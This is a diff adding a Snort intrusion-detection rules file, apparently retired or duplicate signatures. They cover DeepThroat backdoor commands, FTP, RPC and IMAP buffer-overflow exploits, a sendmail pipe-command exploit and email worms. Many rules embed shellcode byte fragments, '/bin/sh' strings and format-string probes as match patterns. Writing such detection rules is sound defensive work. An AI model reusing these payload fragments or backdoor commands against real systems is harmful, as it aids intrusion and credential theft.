+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 System Info Client Request"; content:"13"; reference:arachnids,106; classtype:misc-activity; sid:122; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 FTP Status Client Request"; content:"09"; reference:arachnids,106; classtype:misc-activity; sid:124; rev:5;)
+alert udp $HOME_NET 2140 -> $EXTERNAL_NET 60000 (msg:"BACKDOOR DeepThroat 3.1 E-Mail Info From Server"; content:"Retreaving"; reference:arachnids,106; classtype:misc-activity; sid:125; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 E-Mail Info Client Request"; content:"12"; reference:arachnids,106; classtype:misc-activity; sid:126; rev:5;)
+alert udp $HOME_NET 2140 -> $EXTERNAL_NET 60000 (msg:"BACKDOOR DeepThroat 3.1 Server Status From Server"; content:"Host"; reference:arachnids,106; classtype:misc-activity; sid:127; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Server Status Client Request"; content:"10"; reference:arachnids,106; classtype:misc-activity; sid:128; rev:5;)
+alert udp $HOME_NET 2140 -> $EXTERNAL_NET 60000 (msg:"BACKDOOR DeepThroat 3.1 Drive Info From Server"; content:"C - "; reference:arachnids,106; classtype:misc-activity; sid:129; rev:5;)
+alert udp $HOME_NET 2140 -> $EXTERNAL_NET 60000 (msg:"BACKDOOR DeepThroat 3.1 System Info From Server"; content:"Comp Name"; reference:arachnids,106; classtype:misc-activity; sid:130; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Drive Info Client Request"; content:"130"; reference:arachnids,106; classtype:misc-activity; sid:131; rev:5;)
+alert udp $HOME_NET 2140 -> $EXTERNAL_NET 60000 (msg:"BACKDOOR DeepThroat 3.1 Server FTP Port Change From Server"; content:"FTP Server changed to"; reference:arachnids,106; classtype:misc-activity; sid:132; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Cached Passwords Client Request"; content:"16"; reference:arachnids,106; classtype:misc-activity; sid:133; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 RAS Passwords Client Request"; content:"17"; reference:arachnids,106; classtype:misc-activity; sid:134; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Server Password Change Client Request"; content:"91"; reference:arachnids,106; classtype:misc-activity; sid:135; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Server Password Remove Client Request"; content:"92"; reference:arachnids,106; classtype:misc-activity; sid:136; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Rehash Client Request"; content:"911"; reference:arachnids,106; classtype:misc-activity; sid:137; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 3150 (msg:"BACKDOOR DeepThroat 3.1 Server Rehash Client Request"; content:"shutd0wnM0therF***eR"; reference:arachnids,106; classtype:misc-activity; sid:138; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 ICQ Alert OFF Client Request"; content:"88"; reference:arachnids,106; classtype:misc-activity; sid:140; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 ICQ Alert ON Client Request"; content:"40"; reference:arachnids,106; classtype:misc-activity; sid:142; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Change Wallpaper Client Request"; content:"20"; reference:arachnids,106; classtype:misc-activity; sid:143; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 3150 (msg:"BACKDOOR DeepThroat 3.1 Client Sending Data to Server on Network"; content:"|00 23|"; reference:arachnids,106; classtype:misc-activity; sid:149; rev:5;)
+alert udp $EXTERNAL_NET 3150 -> $HOME_NET 60000 (msg:"BACKDOOR DeepThroat 3.1 Server Active on Network"; content:"|00 23|"; reference:arachnids,106; classtype:misc-activity; sid:150; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Client Sending Data to Server on Network"; reference:arachnids,106; classtype:misc-activity; sid:151; rev:5;)
+alert udp $HOME_NET 3150 -> $EXTERNAL_NET 60000 (msg:"BACKDOOR DeepThroat 3.1 Wrong Password"; content:"Wrong Password"; reference:arachnids,106; classtype:misc-activity; sid:154; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Visible Window List Client Request"; content:"37"; reference:arachnids,106; classtype:misc-activity; sid:156; rev:5;)
+alert udp $EXTERNAL_NET 4120 -> $HOME_NET any (msg:"BACKDOOR DeepThroat access"; content:"--Ahhhhhhhhhh"; reference:arachnids,405; classtype:misc-activity; sid:113; rev:6;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Monitor on/off Client Request"; content:"07"; reference:arachnids,106; classtype:misc-activity; sid:186; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Delete File Client Request"; content:"41"; reference:arachnids,106; classtype:misc-activity; sid:187; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Kill Window Client Request"; content:"38"; reference:arachnids,106; classtype:misc-activity; sid:188; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Disable Window Client Request"; content:"23"; reference:arachnids,106; classtype:misc-activity; sid:189; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Enable Window Client Request"; content:"24"; reference:arachnids,106; classtype:misc-activity; sid:190; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Change Window Title Client Request"; content:"60"; reference:arachnids,106; classtype:misc-activity; sid:191; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Hide Window Client Request"; content:"26"; reference:arachnids,106; classtype:misc-activity; sid:192; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Show Window Client Request"; content:"25"; reference:arachnids,106; classtype:misc-activity; sid:193; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Send Text to Window Client Request"; content:"63"; reference:arachnids,106; classtype:misc-activity; sid:194; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Hide/Show Systray Client Request"; content:"30"; reference:arachnids,106; classtype:misc-activity; sid:196; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Create Directory Client Request"; content:"39"; reference:arachnids,106; classtype:misc-activity; sid:197; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 All Window List Client Request"; content:"370"; reference:arachnids,106; classtype:misc-activity; sid:198; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Play Sound Client Request"; content:"36"; reference:arachnids,106; classtype:misc-activity; sid:199; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Run Program Normal Client Request"; content:"14"; reference:arachnids,106; classtype:misc-activity; sid:200; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Run Program Hidden Client Request"; content:"15"; reference:arachnids,106; classtype:misc-activity; sid:201; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Get NET File Client Request"; content:"100"; reference:arachnids,106; classtype:misc-activity; sid:202; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Find File Client Request"; content:"117"; reference:arachnids,106; classtype:misc-activity; sid:203; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Find File Client Request"; content:"118"; reference:arachnids,106; classtype:misc-activity; sid:204; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 HUP Modem Client Request"; content:"199"; reference:arachnids,106; classtype:misc-activity; sid:205; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 CD ROM Open Client Request"; content:"02"; reference:arachnids,106; classtype:misc-activity; sid:206; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 CD ROM Close Client Request"; content:"03"; reference:arachnids,106; classtype:misc-activity; sid:207; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS named iquery attempt"; content:"|09 80 00 00 00 01 00 00 00 00|"; depth:16; offset:2; reference:arachnids,277; reference:bugtraq,134; reference:cve,1999-0009; reference:url,www.rfc-editor.org/rfc/rfc1035.txt; classtype:attempted-recon; sid:252; rev:7;)
+alert udp $HOME_NET 2140 -> $EXTERNAL_NET 60000 (msg:"BACKDOOR DeepThroat 3.1 Keylogger Active on Network"; content:"KeyLogger Is Enabled On port"; reference:arachnids,106; classtype:misc-activity; sid:148; rev:5;)
+
+# The following ftp rules look for specific exploits, which are not needed now
+# that initial protocol decoding is available.
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT format string"; flow:to_server,established; content:"SITE EXEC %020d|7C|%.f%.f|7C 0A|"; depth:32; nocase; reference:arachnids,453; reference:bugtraq,1387; reference:cve,2000-0573; classtype:attempted-user; sid:338; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT OpenBSD x86 ftpd"; flow:to_server,established; content:" |90|1|C0 99|RR|B0 17 CD 80|h|CC|sh"; reference:arachnids,446; reference:bugtraq,2124; reference:cve,2001-0053; classtype:attempted-user; sid:339; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT overflow"; flow:to_server,established; content:"PWD|0A|/i"; classtype:attempted-admin; sid:340; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT overflow"; flow:to_server,established; content:"XXXXX/"; classtype:attempted-admin; sid:341; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow Solaris 2.8"; flow:to_server,established; content:"|90 1B C0 0F 82 10| |17 91 D0| |08|"; reference:arachnids,451; reference:bugtraq,1387; reference:cve,2000-0573; classtype:attempted-user; sid:342; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow FreeBSD"; flow:to_server,established; content:"1|C0|PPP|B0|~|CD 80|1|DB|1|C0|"; depth:32; reference:arachnids,228; reference:bugtraq,1387; reference:cve,2000-0573; classtype:attempted-admin; sid:343; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow Linux"; flow:to_server,established; content:"1|C0|1|DB|1|C9 B0|F|CD 80|1|C0|1|DB|"; reference:arachnids,287; reference:bugtraq,1387; reference:cve,2000-0573; classtype:attempted-admin; sid:344; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow generic"; flow:to_server,established; content:"SITE "; nocase; content:" EXEC "; nocase; content:" %p"; nocase; reference:arachnids,285; reference:bugtraq,1387; reference:cve,2000-0573; reference:nessus,10452; classtype:attempted-admin; sid:345; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT wu-ftpd 2.6.0 site exec format string check"; flow:to_server,established; content:"f%.f%.f%.f%.f%."; depth:32; reference:arachnids,286; reference:bugtraq,1387; reference:cve,2000-0573; classtype:attempted-recon; sid:346; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT wu-ftpd 2.6.0"; flow:to_server,established; content:"..11venglin@"; reference:arachnids,440; reference:bugtraq,1387; classtype:attempted-user; sid:348; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT MKD overflow"; flow:to_server,established; content:"MKD AAAAAA"; reference:bugtraq,113; reference:bugtraq,2242; reference:cve,1999-0368; classtype:attempted-admin; sid:349; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT x86 linux overflow"; flow:to_server,established; content:"1|C0|1|DB B0 17 CD 80|1|C0 B0 17 CD 80|"; reference:bugtraq,113; reference:bugtraq,2242; reference:cve,1999-0368; classtype:attempted-admin; sid:350; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT x86 linux overflow"; flow:to_server,established; content:"1|DB 89 D8 B0 17 CD 80 EB|,"; reference:bugtraq,113; reference:bugtraq,2242; reference:cve,1999-0368; classtype:attempted-admin; sid:351; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP EXPLOIT x86 linux overflow"; flow:to_server,established; content:"|83 EC 04|^|83 C6|p|83 C6 28 D5 E0 C0|"; reference:bugtraq, 113; reference:cve, CVE-1999-0368; classtype:attempted-admin; sid:352; rev:6;)
+
+# duplicate of 475
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Traceroute ipopts"; ipopts:rr; itype:0; reference:arachnids,238; classtype:misc-activity; sid:455; rev:7;)
+
+
+# not needed thanks to 1964 and 1965
+alert tcp $EXTERNAL_NET any -> $HOME_NET 32771:34000 (msg:"RPC EXPLOIT ttdbserv solaris overflow"; dsize:>999; flow:to_server,established; content:"|C0 22|?|FC A2 02| |09 C0|,|7F FF E2 22|?|F4|"; reference:arachnids,242; reference:bugtraq,122; reference:cve,1999-0003; reference:url,www.cert.org/advisories/CA-2001-27.html; classtype:attempted-admin; sid:570; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 32771:34000 (msg:"RPC EXPLOIT ttdbserv Solaris overflow"; dsize:>999; flow:to_server,established; content:"|00 01 86 F3 00 00 00 01 00 00 00 0F 00 00 00 01|"; reference:arachnids,242; reference:bugtraq,122; reference:cve,1999-0003; reference:url,www.cert.org/advisories/CA-2001-27.html; classtype:attempted-admin; sid:571; rev:8;)
+
+# dup of 589
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap request yppasswdd"; rpc:100009,*,*; reference:bugtraq,2763; classtype:rpc-portmap-decode; sid:1296; rev:4;)
+# dup of 1275
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap request yppasswdd"; flow:to_server,established; rpc:100009,*,*; reference:bugtraq,2763; classtype:rpc-portmap-decode; sid:1297; rev:8;)
+
+# dup of 1280
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap listing"; flow:to_server,established; rpc:100000,*,*; reference:arachnids,429; classtype:rpc-portmap-decode; sid:596; rev:6;)
+
+# dup of 1281
+alert tcp $EXTERNAL_NET any -> $HOME_NET 32771 (msg:"RPC portmap listing"; flow:to_server,established; rpc:100000,*,*; reference:arachnids,429; classtype:rpc-portmap-decode; sid:597; rev:6;)
+
+alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"BAD TRAFFIC Non-Standard IP protocol"; ip_proto:!1; ip_proto:!2; ip_proto:!47; ip_proto:!50; ip_proto:!51; ip_proto:!6; ip_proto:!89; classtype:non-standard-protocol; sid:1620; rev:5;)
+
+# this has been replaced with sid 1905 and 1906
+alert tcp $EXTERNAL_NET any -> $HOME_NET 634:1400 (msg:"RPC AMD Overflow"; flow:to_server,established; content:"|80 00 04|,L|15|u[|00 00 00 00 00 00 00 02|"; depth:32; reference:arachnids,217; reference:cve,1999-0704; classtype:attempted-admin; sid:573; rev:8;)
+
+# these have been replaced by 1915, 1916, 1914, and 1913
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC EXPLOIT statdx"; flow:to_server,established; content:"/bin|C7|F|04|/sh"; reference:arachnids,442; classtype:attempted-admin; sid:600; rev:7;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"RPC EXPLOIT statdx"; content:"/bin|C7|F|04|/sh"; reference:arachnids,442; classtype:attempted-admin; sid:1282; rev:5;)
+
+# duplicate of 1088
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI webstore directory traversal"; flow:to_server,established; uricontent:"/web_store.cgi?page=../.."; reference:bugtraq,1774; reference:cve,2000-1005; classtype:web-application-attack; sid:1094; rev:10;)
+
+
+# these are obsolete
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP EXPLOIT overflow"; flow:to_server,established; content:"|E8 C0 FF FF FF|/bin/sh"; classtype:attempted-admin; sid:293; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP EXPLOIT x86 linux overflow"; flow:to_server,established; content:"|89 D8|@|CD 80 E8 C8 FF FF FF|/"; reference:bugtraq,130; reference:cve,1999-0005; classtype:attempted-admin; sid:295; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP EXPLOIT x86 linux overflow"; flow:to_server,established; content:"|EB|4^|8D 1E 89|^|0B|1|D2 89|V|07|"; reference:bugtraq,130; reference:cve,1999-0005; classtype:attempted-admin; sid:296; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP EXPLOIT x86 linux overflow"; flow:to_server,established; content:"|EB|5^|80|F|01|0|80|F|02|0|80|F|03|0"; reference:bugtraq,130; reference:cve,1999-0005; classtype:attempted-admin; sid:297; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP EXPLOIT x86 linux overflow"; flow:to_server,established; content:"|EB|8^|89 F3 89 D8 80|F|01| |80|F|02|"; reference:bugtraq,130; reference:cve,1999-0005; classtype:attempted-admin; sid:298; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP EXPLOIT x86 linux overflow"; flow:to_server,established; content:"|EB|X^1|DB 83 C3 08 83 C3 02 88|^&"; reference:bugtraq,130; reference:cve, CVE-1999-0005; classtype:attempted-admin; sid:299; rev:6;)
+
+# what is this rule?  we have no idea...
+alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"SCAN ssh-research-scanner"; flow:to_server,established; content:"|00 00 00|`|00 00 00 00 00 00 00 00 01 00 00 00|"; classtype:attempted-recon; sid:617; rev:4;)
+
+# These have been replaced by better rules (1915,1916,1913,1914)
+alert udp $EXTERNAL_NET any -> $HOME_NET 32770: (msg:"RPC rstatd query"; content:"|00 00 00 00 00 00 00 02 00 01 86 A1|"; offset:5; reference:arachnids,9; classtype:attempted-recon; sid:592; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 32770: (msg:"RPC rstatd query"; flow:to_server,established; content:"|00 00 00 00 00 00 00 02 00 01 86 A1|"; offset:5; reference:arachnids,9; classtype:attempted-recon; sid:1278; rev:5;)
+
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES id check returned nobody"; flow:from_server,established; content:"uid="; content:"|28|nobody|29|"; classtype:bad-unknown; sid:1883; rev:5;)
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES id check returned web"; flow:from_server,established; content:"uid="; content:"|28|web|29|"; classtype:bad-unknown; sid:1884; rev:5;)
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES id check returned http"; flow:from_server,established; content:"uid="; content:"|28|http|29|"; classtype:bad-unknown; sid:1885; rev:5;)
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK-RESPONSES id check returned apache"; flow:from_server,established; content:"uid="; content:"|28|apache|29|"; classtype:bad-unknown; sid:1886; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB SMB_COM_TRANSACTION Max Data Count of 0 DOS Attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; content:"|00 00|"; depth:2; offset:45; reference:bugtraq,5556; reference:cve,2002-0724; reference:url,www.corest.com/common/showdoc.php?idx=262; reference:url,www.microsoft.com/technet/security/bulletin/MS02-045.mspx; classtype:denial-of-service; reference:nessus,11110; sid:2102; rev:9;)
+
+# specific example for sid:1549
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP EXPLOIT x86 windows CSMMail overflow"; flow:to_server,established; content:"|EB|S|EB| [|FC|3|C9 B1 82 8B F3 80|+"; reference:bugtraq,895; reference:cve,2000-0042; classtype:attempted-admin; sid:656; rev:8;)
+
+# this is properly caught by sid:527
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"DOS Land attack"; flags:S; id:3868; seq:3868; flow:stateless; reference:bugtraq,2666; reference:cve,1999-0016; classtype:attempted-dos; sid:269; rev:9;)
+
+# duplicate of 1546
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Cisco Web DOS attempt"; flow:to_server,established; content:" /%%"; depth:16; reference:arachnids,275; classtype:attempted-dos; sid:1138; rev:7;)
+
+# these are obsoleted by cleaning up 663
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP sendmail 8.4.1 exploit"; flow:to_server,established; content:"rcpt to|3A| |7C| sed '1,/^|24|/d'|7C|"; nocase; reference:arachnids,120; classtype:attempted-user; sid:666; rev:7;)
+
+# dup of 588
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap tooltalk request TCP"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:8; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 F3|"; within:4; reference:bugtraq,3382; reference:cve,1999-0003; reference:cve,1999-0687; reference:cve,1999-1075; reference:cve,2001-0717; reference:url,www.cert.org/advisories/CA-2001-05.html; classtype:rpc-portmap-decode; sid:1298; rev:15;)
+# dup of 1274
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap tooltalk request UDP"; content:"|00 00 00 00|"; depth:4; offset:4; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 86 F3|"; within:4; reference:bugtraq,3382; reference:cve,1999-0003; reference:cve,1999-0687; reference:cve,1999-1075; reference:cve,2001-0717; reference:url,www.cert.org/advisories/CA-2001-05.html; classtype:rpc-portmap-decode; sid:1299; rev:14;)
+
+# these virus rules suck.
+alert tcp any 110 -> any any (msg:"Virus - SnowWhite Trojan Incoming"; flow:established; content:"Suddlently"; classtype:misc-activity; sid:720; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NAVIDAD Worm"; flow:established; content:"NAVIDAD.EXE"; nocase; classtype:misc-activity; sid:722; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible MyRomeo Worm"; flow:established; content:"myromeo.exe"; nocase; classtype:misc-activity; sid:723; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible MyRomeo Worm"; flow:established; content:"myjuliet.chm"; nocase; classtype:misc-activity; sid:724; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible MyRomeo Worm"; flow:established; content:"ble bla"; nocase; classtype:misc-activity; sid:725; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible MyRomeo Worm"; flow:established; content:"I Love You"; classtype:misc-activity; sid:726; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible MyRomeo Worm"; flow:established; content:"Sorry... Hey you !"; classtype:misc-activity; sid:727; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible MyRomeo Worm"; flow:established; content:"my picture from shake-beer"; classtype:misc-activity; sid:728; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible QAZ Worm"; flow:established; content:"qazwsx.hsq"; reference:MCAFEE,98775; classtype:misc-activity; sid:731; rev:7;)
+alert tcp any any -> any 25 (msg:"Virus - Possible QAZ Worm Calling Home"; flow:established; content:"nongmin_cn"; reference:MCAFEE,98775; classtype:misc-activity; sid:733; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Matrix worm"; flow:established; content:"Software provide by [MATRiX]"; nocase; classtype:misc-activity; sid:734; rev:6;)
+alert tcp any 110 -> any any (msg:"Virus - Possible MyRomeo Worm"; flow:established; content:"Matrix has you..."; classtype:misc-activity; sid:735; rev:6;)
+alert tcp any any -> any 25 (msg:"Virus - Successful eurocalculator execution"; flags:PA; flow:established; content:"funguscrack@hotmail.com"; nocase; classtype:misc-activity; sid:736; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible eurocalculator.exe file"; flow:established; content:"filename="; content:"eurocalculator.exe"; nocase; classtype:misc-activity; sid:737; rev:6;)
+alert tcp any any -> any 110 (msg:"Virus - Possible Pikachu Pokemon Virus"; flags:PA; flow:established; content:"Pikachu Pokemon"; reference:MCAFEE,98696; classtype:misc-activity; sid:738; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Triplesix Worm"; flow:established; content:"filename=|22|666TEST.VBS|22|"; nocase; reference:MCAFEE,10389; classtype:misc-activity; sid:739; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Tune.vbs"; flow:established; content:"filename=|22|tune.vbs|22|"; nocase; reference:MCAFEE,10497; classtype:misc-activity; sid:740; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NAIL Worm"; flow:established; content:"Market share tipoff"; reference:MCAFEE,10109; classtype:misc-activity; sid:741; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NAIL Worm"; flow:established; content:"name =|22|WWIII!"; reference:MCAFEE,10109; classtype:misc-activity; sid:742; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NAIL Worm"; flow:established; content:"New Developments"; reference:MCAFEE,10109; classtype:misc-activity; sid:743; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NAIL Worm"; flow:established; content:"Good Times"; reference:MCAFEE,10109; classtype:misc-activity; sid:744; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Papa Worm"; flow:established; content:"filename=|22|XPASS.XLS|22|"; nocase; reference:MCAFEE,10145; classtype:misc-activity; sid:745; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Freelink Worm"; flow:established; content:"LINKS.VBS"; reference:MCAFEE,10225; classtype:misc-activity; sid:746; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Simbiosis Worm"; flow:established; content:"filename=|22|SETUP.EXE|22|"; nocase; classtype:misc-activity; sid:747; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible BADASS Worm"; flow:established; content:"name =|22|BADASS.EXE|22|"; reference:MCAFEE,10388; classtype:misc-activity; sid:748; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible ExploreZip.B Worm"; flow:established; content:"name =|22|File_zippati.exe|22|"; reference:MCAFEE,10471; classtype:misc-activity; sid:749; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible wscript.KakWorm"; flow:established; content:"filename=|22|KAK.HTA|22|"; nocase; reference:MCAFEE,10509; classtype:misc-activity; sid:751; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus Possible Suppl Worm"; flow:established; content:"filename=|22|Suppl.doc|22|"; nocase; reference:MCAFEE,10361; classtype:misc-activity; sid:752; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible NewApt.Worm - theobbq.exe"; flow:established; content:"filename=|22|THEOBBQ.EXE|22|"; nocase; reference:MCAFEE,10540; classtype:misc-activity; sid:753; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible Word Macro - VALE"; flow:established; content:"filename=|22|MONEY.DOC|22|"; nocase; reference:MCAFEE,10502; classtype:misc-activity; sid:754; rev:7;)
+alert tcp any 110 -> any any (msg:"Virus - Possible IROK Worm"; flow:established; content:"filename=|22|irok.exe|22|"; nocase; reference:MCAFEE,98552; classtype:misc-activity; sid:755; rev:7;)
